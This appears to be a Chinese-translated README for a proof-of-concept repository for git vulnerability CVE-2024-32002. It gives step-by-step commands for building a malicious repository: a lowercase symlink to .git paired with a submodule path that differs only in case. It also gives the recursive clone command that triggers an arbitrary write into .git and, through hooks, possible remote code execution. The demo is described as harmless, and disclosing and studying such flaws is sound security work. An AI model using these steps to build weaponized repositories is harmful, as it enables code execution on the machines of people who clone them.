CVE-2024-32002 PRC AW
一个针对 CVE-2024-32002 的 POC,演示了对 .git 目录的任意写入。
请参阅相关的子模块仓库:cve-2024-32002-submodule-aw
本仓库包含的内容
- 一个指向
.git 目录的符号链接,其名称是任意的。
- 一个定义恶意子模块的
.gitmodules 文件。
如何重新创建此仓库
此仓库是在 Linux(具体来说是 WSL2)上创建的。这一点很重要,恶意仓库只能在大小写敏感的文件系统上创建。
- 创建一个符号链接,全部使用小写字符
ln -s .git submodule
注:
- 符号链接应指向
.git 文件夹,因为这是我们想要写入文件的目标位置。
- 符号链接名称(submodule)是任意的,但应以小写字符开头。
- 这一点很重要,因为小写字符排序在大写字符之前。当克隆机器不确定将子模块文件写入何处时,我们希望它选择该符号链接而不是一个普通目录。
- 添加恶意子模块,注意子模块目录名称的大小写差异
git submodule add --name aw https://github.com/JakobTheDev/cve-2024-32002-submodule-aw.git Submodule/notexists
注:
- 子模块的名称很重要,它将在我们把钩子放入子模块时发挥作用。
- 子模块路径的第一个段("Submodule")应与上述符号链接名称匹配,仅在大小写上不同。
- 路径中至少还要有一个其他段,因为 git 只会将子模块克隆到空目录中。不过 git 会为我们创建目录,因此我们选择了 "notexists" 来演示这一点。
如何运行 POC
- 检查你的 git 版本是否受影响。请参阅 GitHub 安全公告 了解受影响版本。
git --version
- 考虑一下你是否真的想故意运行一个可能实现 RCE 的命令……此仓库是无害的,但你确定吗?
- 运行以下命令:
git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-aw.git
- 查看一下 .git 目录。是否发现任何异常?提示:子模块 中包含哪些文件。